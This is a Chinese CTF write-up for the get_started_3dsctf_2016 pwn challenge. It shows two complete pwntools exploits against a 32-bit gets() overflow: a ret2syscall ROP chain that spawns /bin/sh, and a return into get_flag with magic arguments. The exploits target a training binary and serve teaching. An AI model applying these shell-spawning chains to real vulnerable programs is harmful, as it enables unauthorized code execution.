get_started_3dsctf_2016 1 题解


原题链接 https://buuoj.cn/challenges#get_started_3dsctf_2016


该题实际上有很多种做法,奈何笔者能力有限,本文只列出两种解法:ret2syscall和基础栈溢出


方法一(ret2syscall):

  • 拿到文件后,checksec发现是32位架构下的,并且。扔进IDA里看下,main函数里有个v4数组,并且有gets函数,gets不限制读入字节数,于是我们可以想到栈溢出。

  • 进gdb,cyclic一长串字符,喂给程序,果然如我们所料,栈溢出了,获取偏移量为56

  • 现在思路逐渐清晰:确定存在栈溢出漏洞后,只需要获取/bin/sh地址,然后利用地址构造对应函数进入就可以了。
  • 哎,说到这里感觉很对,可是文件里有现成的地址么?
  • 赶紧ropper查找下,这一查发现还真没有,得,需要手动往bss段里写了,睡眠时间 -5 min。

  • 进IDA挑个顺眼的地址,这里选择0x080EBF92

  • 有了bss地址后,接下来查找eax、ebx、ecx和edx这四个寄存器的地址

  • 之前的文章有写read函数的系统调用号和参数列表,这里就不再赘述。将/bin/sh存入bss段后,再调用execve函数进入该目录,完成hack。execve函数的相关信息也有写过,不再多言。
  • 执行构造好的攻击程序,发现我们成功进入了/bin/sh目录,hack成功(这种攻击方式似乎被官网屏蔽了,当链接官网靶机时无法正常获取到flag,不过无伤大雅)

放exp:

from pwn import *
context(arch="i386")
p = process('./get_')
pop_eax=0x080b91e6
pop_edx_ecx_ebx=0x0806fc30
_bss=0x080EBF92
_int80=0x080701d0
_main=0x08048a20
payload = b'a'*56
payload+=p32(pop_eax)+p32(0x3)
payload+=p32(pop_edx_ecx_ebx)+p32(100)+p32(_bss)+p32(0)
payload+=p32(_int80)
payload+=p32(_main)
p.sendline(payload)
p.sendline('/bin/sh\x00')
payload = b'a'*56
payload+=p32(pop_eax)+p32(0xb)
payload+=p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(_bss)
payload+=p32(_int80)
p.sendline(payload)
p.interactive()

方法二(基础栈溢出):

  • 在IDA的函数列表里,我们可以注意到有get_flag这么个函数,一看这个名字就知道有蹊跷,打开后发现存在fopen("flag.txt", "rt")语句,果然是我们想要的突破口

  • 触发该语句执行的条件为 a1 == 814536271 && a2 == 425138641 ,于是我们可以构造符合要求的值传给get_flag函数,从而打开flag.txt。
  • 注意get_flag函数要加上exit返回才能正常回显,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag(原因是从网上大佬们的博客里看见的hhh)
  • get_flag函数和exit函数的地址从IDA里获取

  • 按照该思路构建代码,执行,发现攻击成功(这里打开的是本地的flag.txt,里面内容我乱写的)

放exp:

from pwn import *
context(arch="i386")
p = process('./get_')
_get_flag=0x80489A0
integer_value_a1 = 0x308CD64F
integer_value_a2 = 0x195719D1
_exit=0x804E6A0
payload=b'a'*56
payload+=p32(_get_flag)+p32(_exit)+p32(integer_value_a1)+p32(integer_value_a2)
p.sendline(payload)
p.interactive()

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - get_started_3dsctf_2016 1 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.